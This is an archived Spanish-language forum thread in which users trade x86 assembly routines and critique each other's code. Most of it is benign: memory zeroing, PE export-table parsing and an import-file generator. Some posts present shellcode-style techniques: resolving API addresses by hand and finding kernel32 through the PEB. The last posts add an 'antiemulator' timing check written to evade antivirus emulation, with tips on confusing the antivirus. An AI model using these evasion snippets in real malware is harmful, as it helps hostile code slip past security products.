Foro de elhacker.net

Programación => ASM => Mensaje iniciado por: YST en 2 Abril 2009, 09:07 am



Título: SRCs de YST.
Publicado por: YST en 2 Abril 2009, 09:07 am
Hola , muchas veces yo eh necesitado poner una cantidad de bytes en 0 , para esto hice una función que haga esto por mi , espero que les sirva.

Código
  1. proc Zerar,Puntero,Cantidad
  2.  
  3.    push ecx
  4.    push ebx
  5.  
  6.              mov ecx,[Cantidad]
  7.                 mov ebx,[Puntero]
  8.                .bucle:
  9.  
  10.                mov byte[ebx+ecx],0
  11.                loop .bucle
  12.                mov byte[ebx],0
  13.                pop ebx
  14.                pop ecx
  15.                ret
  16. endp


Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 12:49 pm
buen code, pero el loop es muy lento

mejor así:

Código
  1.  
  2. ZeroMem proc PMen:dword, SizeMen
  3. push ebx
  4. push ecx
  5. push eax
  6.  
  7.  
  8. mov ecx,[SizeMen]
  9. mov ebx,4
  10. mov eax,ecx
  11. div ebx ;Comprueva si es multiplo de 4
  12. cmp edx,0
  13. je Mul4
  14. sub ecx,edx
  15. lea edx,[ecx+edx]
  16.                                mov ebx,[PMen]
  17.                                xor eax,eax
  18.  
  19. NoZero:
  20. dec edx
  21. mov byte ptr[ebx+edx],eax
  22.  
  23. cmp edx,ecx
  24. jne NoZero
  25. Mul4:
  26. xor eax,eax
  27. mov ebx,[PMen]
  28.  
  29. siguiente:
  30. sub ecx,4
  31. mov [ebx+ecx],eax ;Pone a cero hasta que ecx sea zero
  32. jecxz zero
  33. jmp siguiente
  34. zero:
  35.  
  36. pop eax
  37. pop ecx
  38. pop ebx
  39.  
  40. ret
  41.  
  42. ZeroMem endp
  43.  
  44.  

saludos


Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 13:28 pm
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...


Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 13:39 pm
pos lo canbias un poco, yo es que todo lo que necesito poner a cero es multiplo de 4. Porque no uso los 64bist, y para las cadenas ya le pongo yo el 0 final


Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 14:06 pm
Entonces no es mejor asi, el codigo original no produce una excepcion al pasarle un tamaño de 5.


Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 14:32 pm
alegrado, ya no produce una excepción


Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 04:22 am
Hola , luego de un buen rato programando , viendo manuales de el formato PE ( si gustan luego los posteo ) , termine la función GetAddressFunction quer permite obtener la dirección de cualquier función de una libreria , mediante el handle de la libreria (devuelto por LoadLibrary por ejemplo ) y el nombre de la función , esta función es muy util para  shellcode , la función comparar tanto como la función len no son mias las pase para que se pudieran ensamblar con FASM ya que las originales son de MASM ( http://www.asmcommunity.net/board/index.php?topic=2626.0 ) , espero que les sea de utilidad.
Código
  1. proc GetAddressFunction,LibHandle,Api
  2. locals
  3. DirPEHeader dd ?
  4. PunteroPEHeader dd ?
  5. RVAofExportDirectory   dd ?
  6. NumberOfNames dd ?
  7. AddressOfNames dd ?
  8. AddressOfFunctions dd ?
  9. endl
  10. push ebx  edx  edi  ecx
  11. mov eax,[LibHandle]
  12. cmp eax,NULL
  13. je .Error
  14. push dword[eax + 03Ch]
  15. pop  [DirPEHeader]
  16. push [DirPEHeader]
  17. pop [PunteroPEHeader]
  18. add  [PunteroPEHeader],eax
  19. mov ebx,[PunteroPEHeader]
  20. cmp word[ebx],"PE"
  21. jne .Error
  22. push dword[ebx+078h]
  23. pop [RVAofExportDirectory]
  24. mov ebx, [RVAofExportDirectory]
  25. add ebx,eax
  26. push dword[ebx+018h]
  27. pop [NumberOfNames]
  28. mov edx,[NumberOfNames]
  29. push dword[ebx+20h]
  30. pop [AddressOfNames]
  31. mov ebx, [AddressOfNames]
  32. add ebx,eax
  33. mov ecx,[NumberOfNames]
  34. mov edi,0
  35.  
  36. push [LibHandle]
  37. pop [AddressOfFunctions]
  38. mov ebx,[RVAofExportDirectory]
  39. add  eax ,ebx
  40. push   dword[eax+1ch]
  41. pop [AddressOfFunctions]
  42. .encontrar:
  43.  mov eax, 0x4
  44.  mul edi
  45.  mov ebx,eax
  46.  add ebx,[AddressOfNames]
  47.  add  ebx,[LibHandle]
  48.  mov eax, [ebx]
  49.  add eax, [LibHandle]
  50. add edi,1
  51.  stdcall comparar, [Api], eax
  52.  cmp ecx,NULL
  53.  je .Error
  54.  cmp eax, 0
  55. jne .encontrar
  56. dec edi
  57. rol edi,2
  58. mov eax,edi
  59. add eax, [AddressOfFunctions]
  60. add eax,[LibHandle]
  61. mov eax, dword[eax]
  62. add eax,[LibHandle]
  63. pop  ecx edi edx ebx
  64. ret
  65. .Error:
  66. xor eax,eax   ; xor eax,eax = NULL
  67. ret
  68. ret
  69. endp
  70. proc comparar ,SRC,DST
  71. push edi ecx esi
  72. stdcall Len,[SRC]
  73. inc eax
  74. mov ecx,eax
  75. mov esi,[SRC]
  76. mov edi,[DST]
  77. repz cmpsb
  78. mov eax,1
  79. jnz Next
  80. dec eax
  81. Next:
  82. pop esi ecx edi
  83. ret
  84. endp
  85.  
  86. proc Len , SRC
  87. push ecx edi
  88. mov ecx,-1
  89. mov edi,[SRC]
  90. mov al,0
  91. repnz scasb
  92. mov eax,ecx
  93. not eax
  94. dec eax
  95. pop edi ecx
  96. ret
  97. endp
  98.  

Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):
Código
  1.           mov   eax, [fs:30h]
  2.    mov   eax, [eax + 0ch]
  3.    mov   esi, [eax + 1ch]
  4.    lodsd
  5.    mov  eax, [eax + 08h]


Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 05:04 am
Hola , basado en el source que hice para obtener la dirección de la función que uno desee de una libreria , hice un pequeño programa para listar todas las funciones de una libreria ( .dll ) , modificandolo un poco se podria hacer que este mismo programa cree .inc como el "kernel32.inc" que se encuentra en el fasm , que tiene todas (o casi todas ) las api's de la kernel32.dll , espero que les sirva de algo.
Código
  1. format pe console
  2. espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .code
  5. start:
  6. invoke LoadLibrary,"user32.dll"
  7. stdcall    ListarFunciones,eax
  8. invoke ExitProcess,0
  9. proc ListarFunciones,LibHandle
  10. locals
  11. DirPEHeader dd ?
  12. PunteroPEHeader dd ?
  13. RVAofExportDirectory   dd ?
  14. NumberOfNames dd ?
  15. AddressOfNames dd ?
  16. endl
  17. push ebx  edx  edi  ecx
  18. mov eax,[LibHandle]
  19. cmp eax,NULL
  20. je .Error
  21. push dword[eax + 03Ch]
  22. pop  [DirPEHeader]
  23. push [DirPEHeader]
  24. pop [PunteroPEHeader]
  25. add  [PunteroPEHeader],eax
  26. mov ebx,[PunteroPEHeader]
  27. cmp word[ebx],"PE"
  28. jne .Error
  29. push dword[ebx+078h]
  30. pop [RVAofExportDirectory]
  31. mov ebx, [RVAofExportDirectory]
  32. add ebx,eax
  33. push dword[ebx+018h]
  34. pop [NumberOfNames]
  35. mov edx,[NumberOfNames]
  36. push dword[ebx+20h]
  37. pop [AddressOfNames]
  38. mov ebx,[NumberOfNames]
  39. mov        edi, [AddressOfNames]
  40.    add        edi,[LibHandle]
  41. .bucle:
  42. dec ebx
  43. mov        eax, [edi + ebx * 4]
  44. add eax,[LibHandle]
  45. invoke printf,eax
  46.  invoke printf,espacio
  47.  cmp ebx,0
  48.  jne .bucle
  49. pop  ecx edi edx ebx
  50. ret
  51. .Error:
  52. ret
  53. endp
  54. .end start


Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 05:18 am
Cita de: Eternal Idol en 02 Abril 2009, 13:28
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5  ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo  ;)


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 06:55 am
Lo modifique y ahora crea imports para fasm a partir de cualquier libreria  ;D

Código
  1. format pe console
  2. espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .code
  5. start:
  6.  
  7. stdcall CrearImport,"user32.dll","user32.inc"
  8. invoke ExitProcess,0
  9. proc CrearImport,NombreLIB,NombreImport
  10. locals
  11. DirPEHeader dd ?
  12. PunteroPEHeader dd ?
  13. RVAofExportDirectory   dd ?
  14. NumberOfNames dd ?
  15. AddressOfNames dd ?
  16. Funcion dd ?
  17. HFile dd ?
  18. Nosirve dd ?
  19. Largo dd ?
  20. LibHandle dd ?
  21. endl
  22. push ebx  edx  edi  ecx
  23.    invoke LoadLibrary, [NombreLIB]
  24.    mov [LibHandle],eax
  25. cmp eax,NULL
  26. je .Error
  27. push dword[eax + 03Ch]
  28. pop  [DirPEHeader]
  29. push [DirPEHeader]
  30. pop [PunteroPEHeader]
  31. add  [PunteroPEHeader],eax
  32. mov ebx,[PunteroPEHeader]
  33. cmp word[ebx],"PE"
  34. jne .Error
  35. push dword[ebx+078h]
  36. pop [RVAofExportDirectory]
  37. mov ebx, [RVAofExportDirectory]
  38. add ebx,eax
  39. push dword[ebx+018h]
  40. pop [NumberOfNames]
  41. mov edx,[NumberOfNames]
  42. push dword[ebx+20h]
  43. pop [AddressOfNames]
  44. mov ebx,[NumberOfNames]
  45. mov        edi, [AddressOfNames]
  46.    add        edi,[LibHandle]
  47.  
  48.  
  49.  
  50.               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  51.                mov [HFile], eax
  52.                invoke lstrlen,"import "
  53.            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
  54.                 invoke lstrlen,[NombreLIB]
  55.                 sub eax,4
  56.                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
  57.                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
  58.                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  59.  
  60. .bucle:
  61. dec ebx
  62. mov        eax, [edi + ebx * 4]
  63. add eax,[LibHandle]
  64. mov [Funcion],eax
  65.        invoke lstrlen, [Funcion]
  66.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  67.                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
  68.  
  69.                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  70.                                      invoke lstrlen, [Funcion]
  71.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  72.                .if ebx = 0
  73.                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  74.                .else
  75.                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
  76.              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  77.              .endif
  78.  cmp ebx,0
  79.  jne .bucle
  80.            invoke CloseHandle, [HFile]
  81. pop  ecx edi edx ebx
  82. ret
  83. .Error:
  84. ret
  85. endp
  86. .end start


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 08:45 am
Volvi a mejorar un poco el source :
Código
  1. format pe console
  2. espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .data
  5. RutaLib   rb MAX_PATH
  6. RutaINC   rb MAX_PATH
  7. .code
  8. start:
  9. invoke printf,"Ingrese la ruta de la libreria:"
  10. invoke printf,espacio
  11. invoke scanf,"%s",RutaLib
  12. invoke printf,"Ingrese la ruta de la donde se generara el include:"
  13. invoke printf,espacio
  14. invoke scanf,"%s",RutaINC
  15. stdcall CrearImport,RutaLib,RutaINC
  16. invoke ExitProcess,0
  17. proc CrearImport,NombreLIB,NombreImport
  18. locals
  19. DirPEHeader dd ?
  20. PunteroPEHeader dd ?
  21. RVAofExportDirectory   dd ?
  22. NumberOfNames dd ?
  23. AddressOfNames dd ?
  24. Funcion dd ?
  25. HFile dd ?
  26. Nosirve dd ?
  27. Largo dd ?
  28. LibHandle dd ?
  29. endl
  30. push ebx  edx  edi  ecx
  31.    invoke LoadLibrary, [NombreLIB]
  32.    mov [LibHandle],eax
  33. cmp eax,NULL
  34. je .Error
  35. push dword[eax + 03Ch]
  36. pop  [DirPEHeader]
  37. push [DirPEHeader]
  38. pop [PunteroPEHeader]
  39. add  [PunteroPEHeader],eax
  40. mov ebx,[PunteroPEHeader]
  41. cmp word[ebx],"PE"
  42. jne .Error
  43. push dword[ebx+078h]
  44. pop [RVAofExportDirectory]
  45. mov ebx, [RVAofExportDirectory]
  46. add ebx,eax
  47. push dword[ebx+018h]
  48. pop [NumberOfNames]
  49. mov edx,[NumberOfNames]
  50. push dword[ebx+20h]
  51. pop [AddressOfNames]
  52. mov ebx,[NumberOfNames]
  53. mov        edi, [AddressOfNames]
  54.    add        edi,[LibHandle]
  55.  
  56.  
  57.  
  58.               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  59.                mov [HFile], eax
  60.                invoke lstrlen,"import "
  61.            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
  62.                 invoke lstrlen,[NombreLIB]
  63.                 sub eax,4
  64.                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
  65.                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
  66.                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  67.  
  68. .bucle:
  69. dec ebx
  70. mov        eax, [edi + ebx * 4]
  71. add eax,[LibHandle]
  72. mov [Funcion],eax
  73.        invoke lstrlen, [Funcion]
  74.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  75.                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
  76.  
  77.                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  78.                                      invoke lstrlen, [Funcion]
  79.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  80.                .if ebx = 0
  81.                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  82.                .else
  83.                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
  84.              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  85.              .endif
  86.  cmp ebx,0
  87.  jne .bucle
  88.  
  89.            invoke CloseHandle, [HFile]
  90.            invoke system,"cls"
  91.            invoke printf,"Extraida las funciones de: "
  92.            invoke printf,RutaLib
  93.            invoke printf,espacio
  94.            invoke printf,espacio
  95.            invoke printf,"El include ah sido generado en : "
  96.             invoke printf,RutaINC
  97.                      invoke printf,espacio
  98.            invoke printf,espacio
  99.            invoke printf,"Con "
  100.               invoke printf,"%d",[NumberOfNames]
  101.               invoke printf," funciones extraidas."
  102.                invoke printf,espacio
  103.                  invoke system,"pause"
  104. pop  ecx edi edx ebx
  105. ret
  106. .Error:
  107.      invoke system,"cls"
  108.            invoke printf,"Ocurrio un error durante la extracciòn."
  109.                        invoke printf,espacio
  110.               invoke system,"pause"
  111. ret
  112. endp
  113. .end start    
  114.  

PD: Mi win32ax.inc tiene algunas mejoras y le eh agragado todas las .inc de mi post anterior (http://foro.elhacker.net/programacion_general/aporte_inc_con_apis_de_distitnas_librerias_para_fasm-t250659.0.html) para que si quieren compilar el codigo hagan eso ya que tal cual con la win32ax.inc que viene por defecto en FASM no va a compilar.


Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 3 Abril 2009, 09:27 am
Perdon, movs es para strcpy, en este caso queremos stos:

Código
  1. ZeroMemory:
  2. xor al, al ;valor a escribir (0)
  3. mov ecx, dword ptr [esp+8] ;cantidad de veces
  4. mov edi, dword ptr [esp+4] ;buffer
  5. rep stosb
  6. ret

El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.


Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 15:01 pm
Cita de: Eternal Idol en 03 Abril 2009, 09:27
Perdon, movs es para strcpy, en este caso queremos stos:

Código

ZeroMemory:
   xor al, al   ;valor a escribir (0)
   mov ecx, dword ptr [esp+8] ;cantidad de veces
   mov edi, dword ptr [esp+4] ;buffer
   rep stosb
ret


El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.

Claro , ahora leyendo el source de arkangel me doy cuenta que trabaja con dword's y por lo tanto es mas rapido ( obviamente si yo trabajo byte por byte y el de arkangel de a 4 ) , en todo caso en un relleno de 3 bytes por ejemplo el mio seria mas rapido , no ? ya que hace menos comprobaciones ; mas tarde cuando vuelva mejoro el source para que sea lo mas rapido posible ;)


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Karcrack en 3 Abril 2009, 15:40 pm
Muchas gracias ;D

Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 16:29 pm
Cita de: Karcrack en 03 Abril 2009, 15:40
Muchas gracias ;D

Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Claro , da un poco de flojera estar declarando todo manualmente cada vez , dando un consejo , no remplacen su kernel32.inc ni ninguna que venga por defecto aunque muchas estan incompletas , ya que este generador de includes no discrimina cuando hay un api como "CreateProcessA" y "CreateProcessW" entonces si lo remplasan tendrian que llamar a la api como CreateProcessA en vez de llamarla como CreateProcess , haber si mas tarde logro hacer que discrimine esto ;)


Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 3 Abril 2009, 17:10 pm
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...

Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5  ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo  ;).

y tan bien es mas rápido por no usar loop, en en los 486 se a vuelto mas lento que su equivalente con varias instrucciones. y que yo sepa ya no se lleva el 386. En el archivo de ayuda del masm sale los tiempos de cada instrucción en cada familia procesadores

PD:yo no mido nunca los tiempos


Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 19:47 pm
No tenia idea eso de el loop , que interesante , gracias por informarme  ;) .


Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 00:12 am


Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):

Código
  1.  
  2.    mov   eax, [fs:30h]
  3.    mov   eax, [eax + 0ch]
  4.    mov   esi, [eax + 1ch]
  5.    lodsd
  6.    mov  eax, [eax + 08h]

una cosa, Que es lo que hay en [fs:30h]?

Yo para sacar la base de kernel32 usaba la direccion de retorno que deja CreateProcess al pasar el control a tu programa con "call". Luego era solo cuestion de buscar "MZ" pero invertida. y ya la tienes.

A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro

Saludos.

PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma


Título: Re: [SRC]GetAddressFunction
Publicado por: Eternal Idol en 4 Abril 2009, 00:16 am
una cosa, Que es lo que hay en [fs:30h]?

La direccion de memoria donde esta el PEB.


Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 00:28 am
Cita de: Arcangel_0x7C5 en 04 Abril 2009, 00:12
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables  y no se puede hacer un "mov  [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.


Citar
PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma

Muchas gracias , voy a ver esa comunidad.


Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 01:08 am
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro

La razón principal es que quise que se explicara un poco el code mediante las variables  y no se puede hacer un "mov  [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.
y no se puede hacer mov de mem a mem pero creo que era mas rapido de mem a reg que hacer push mem y ala inbersa. ya te digo que yo no mido la velocidad, pero como de todas maneras tienes que pasarlo a un registro para usarlo
tengo ese code con una sola variable.

Y para explicar el code puedes poner comentarios diciendo lo que haces y a donde apunta.

En esa comunidad no somos muchos los que siempre escribimos, por eso suele haber buen nivel en lo que se postea

Saludos


Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 02:17 am
Arregle un poco el coidigo ( lo que se puede arreglar estnado cansado ) , mañana si gustan lo termino de arreglar.
salu2


Código
  1. proc GetAddressFunction,LibHandle,Api
  2. locals
  3. AddressOfNames dd ?
  4. AddressOfFunctions dd ?
  5. endl
  6. push ebx  edx  edi  ecx    esi
  7. mov eax,[LibHandle]
  8. cmp eax,NULL
  9. je .Error
  10. mov ebx, dword[eax + 03Ch]
  11. add ebx,eax
  12. cmp word[ebx],"PE"
  13. jne .Error
  14. mov esi,dword[ebx+078h]
  15. mov ebx,esi
  16. add ebx,eax
  17. push dword[ebx+20h]
  18. pop [AddressOfNames]
  19. add    [AddressOfNames] ,eax
  20. mov ecx,dword[ebx+018h]
  21. mov edi,0
  22. mov ebx,esi
  23. add  eax ,ebx
  24. push   dword[eax+1ch]
  25. pop [AddressOfFunctions]
  26.  
  27. .encontrar:
  28. dec ecx
  29. mov eax, 0x4
  30.  mul edi
  31. mov ebx,eax
  32. add ebx,[AddressOfNames]
  33.  mov eax, [ebx]
  34. add eax, [LibHandle]
  35. inc edi
  36.  stdcall comparar, [Api], eax
  37.  cmp ecx,NULL
  38.  je .Error
  39.  cmp eax, 0
  40. jne .encontrar
  41. dec edi
  42. rol edi,2
  43. mov eax,edi
  44. add eax, [AddressOfFunctions]
  45. add eax,[LibHandle]
  46. mov eax, dword[eax]
  47. add eax,[LibHandle]
  48. pop  esi ecx edi edx ebx
  49. ret
  50. .Error:
  51. xor eax,eax   ; xor eax,eax = NULL
  52. pop  esi ecx edi edx ebx
  53. ret
  54. ret
  55. endp
  56. proc comparar ,SRC,DST
  57. push edi ecx esi
  58. stdcall Len,[SRC]
  59. inc eax
  60. mov ecx,eax
  61. mov esi,[SRC]
  62. mov edi,[DST]
  63. repz cmpsb
  64. mov eax,1
  65. jnz Next
  66. dec eax
  67. Next:
  68. pop esi ecx edi
  69. ret
  70. endp
  71.  
  72. proc Len , SRC
  73. push ecx edi
  74. mov ecx,-1
  75. mov edi,[SRC]
  76. mov al,0
  77. repnz scasb
  78. mov eax,ecx
  79. not eax
  80. dec eax
  81. pop edi ecx
  82. ret
  83. endp


Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 02:30 am
mi code es este, es masm pero tanpoco cambia tanto.

Código
  1. Getproadress proc PBaseDll:dword, PNombreFun:dword
  2. LOCAL NumFun
  3. push edx
  4. push ecx
  5. push esi
  6. push edi
  7.  
  8.  
  9. mov edx,[PBaseDll] ;Encontrar funcion pedida en la dll especificada
  10. cmp word ptr[edx],'ZM'
  11. je MZ
  12. cmp word ptr[edx],'MZ'
  13. je MZ
  14. NoPE:
  15. xor eax,eax
  16. jmp NoEncontre
  17. MZ:
  18. xor ecx,ecx
  19. add edx,[edx+3ch]
  20. cmp word ptr[edx],'EP'
  21. jne NoPE                           ;Cabecera PE
  22. mov edx,[edx+78h]
  23.  
  24. ;Tabla de Exportaciones
  25. mov edi,[18h+edx]
  26. mov [NumFun],edi
  27. add edx,[PBaseDll]    
  28. mov edi,[edx+20h]                 ;AddressOfNames
  29. add edi,[PBaseDll]
  30. jmp busca
  31. NoEs:
  32. cmp ecx,[NumFun]
  33. je NoEncontre
  34. inc ecx
  35. add edi,4
  36. busca:
  37. mov esi,[edi]
  38. add esi,[PBaseDll]
  39. push esi
  40. push [PNombreFun]
  41. call cmpsrt
  42. cmp eax,0
  43. jne NoEs
  44. ;                                AddressOfNameOrdinals
  45. mov edi,[edx+24h]
  46. add edi,[PBaseDll]
  47. rol ecx,1h
  48. add edi,ecx
  49. movzx ecx,word ptr [edi]
  50.  
  51. ;                                AddressOfFunctions
  52. rol ecx,2h
  53. mov esi,dword ptr [edx+1ch]
  54. add ecx,[PBaseDll]
  55. add ecx, esi
  56. mov eax,[ecx]
  57. add eax,[PBaseDll]
  58. jmp bien
  59. NoEncontre:
  60. xor eax,eax
  61. bien:
  62. pop edi
  63. pop esi
  64. pop ecx
  65. pop edx
  66.  
  67. ret 8
  68.  
  69. Getproadress endp
  70.  
  71.  
  72.  
  73.  


Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 03:11 am
Le corregi algunas cosas inutiles , no son muchas modificaciones las que le hice a mis source pero creo que lo debo postear igual

Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. invoke LoadLibrary,"user32.dll"
  5. stdcall  GetAddressFunction,eax,"MessageBoxA"
  6. stdcall eax,0,0,0,0
  7. invoke ExitProcess,0
  8. proc GetAddressFunction,LibHandle,Api
  9. locals
  10. AddressOfNames dd ?
  11. AddressOfFunctions dd ?
  12. endl
  13. push ebx  edx  edi  ecx    esi
  14. mov eax,[LibHandle]
  15. cmp eax,NULL
  16. je .Error
  17. mov ebx, dword[eax + 03Ch]
  18. add ebx,eax
  19. cmp word[ebx],"PE"
  20. jne .Error
  21. mov esi,dword[ebx+078h]
  22. mov ebx,esi
  23. add ebx,eax
  24. push dword[ebx+20h]
  25. pop [AddressOfNames]
  26. add    [AddressOfNames] ,eax
  27. mov ecx,dword[ebx+018h]
  28. xor edi,edi
  29. add  eax ,esi
  30. push   dword[eax+1ch]
  31. pop [AddressOfFunctions]
  32. sub eax,esi
  33. add [AddressOfFunctions] ,eax
  34. .encontrar:
  35. dec ecx
  36. mov eax,edi
  37. rol eax,2
  38. add eax,[AddressOfNames]
  39.  mov eax, dword[eax]
  40. add eax, [LibHandle]
  41. inc edi
  42.  stdcall comparar, [Api], eax
  43.  cmp ecx,NULL
  44.  je .Error
  45.  cmp eax, 0
  46. jne .encontrar
  47. dec edi
  48. rol edi,2
  49. mov eax,edi
  50. add eax, [AddressOfFunctions]
  51. mov eax, dword[eax]
  52. add eax,[LibHandle]
  53. pop  esi ecx edi edx ebx
  54. ret
  55. .Error:
  56. xor eax,eax   ; xor eax,eax = NULL
  57. pop  esi ecx edi edx ebx
  58. ret
  59. endp
  60. proc comparar ,SRC,DST
  61. push edi ecx esi
  62. mov ecx,-1
  63. mov edi,[SRC]
  64. mov al,0
  65. repnz scasb
  66. mov eax,ecx
  67. not eax
  68. mov ecx,eax
  69. mov esi,[SRC]
  70. mov edi,[DST]
  71. repz cmpsb
  72. mov eax,1
  73. jnz Next
  74. dec eax
  75. Next:
  76. pop esi ecx edi
  77. ret
  78. endp
  79. .end start


Título: [SRC]antiemulator
Publicado por: YST en 4 Abril 2009, 10:15 am
Hola ,  decidi pasar la función AntiEmulaters desarrollada por ChainCoder en el lenguaje de programación delphi a ASM , espero que les sirva

Codigo original:

Código
  1. Function AntiEmulaters:Boolean;
  2. Var
  3. UpTime            :DWORD;
  4. UpTimeAfterSleep  :Dword;
  5. Begin
  6.   UpTime  := GetTickCount;
  7.   Sleep(Strtoint('5'+'0'+'0'));
  8.   UpTimeAfterSleep := GetTickCount;
  9.   if ( UpTimeAfterSleep - UpTime ) < 500 Then
  10.   Result:= True Else Result:= False;
  11. end;
  12.  
  13.  
Codigo traducido:

Código
  1.  
  2. antiemulator:
  3. push ebx ecx
  4. invoke GetTickCount
  5. mov ebx,eax
  6. mov eax,2
  7. mov ecx,250
  8. mul ecx
  9. invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus )
  10. invoke GetTickCount
  11. sub eax,ebx
  12. cmp eax,500
  13. jl .si
  14. mov eax,FALSE
  15. pop ecx ebx
  16. ret
  17. .si:
  18. pop ecx ebx
  19. mov eax,TRUE
  20. ret
  21.  


Título: Re: [SRC]antiemulator
Publicado por: Karcrack en 4 Abril 2009, 14:11 pm
Creo que al poner:
Código:
125*2*2
No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo otras cosas, como por ejemplo esto, si que marees mas al AV:
Código
  1.    xor ebx, ebx
  2.    mov ecx, 500
  3. @@: inc ebx
  4.    loop @B

Creo que tendrias que explicar que la mayoria de Emuladores de los AVs se saltan algunas APIs... como esta... asi que, los AVs no duermen :xD

Saludos ;)


Título: Re: [SRC]antiemulator
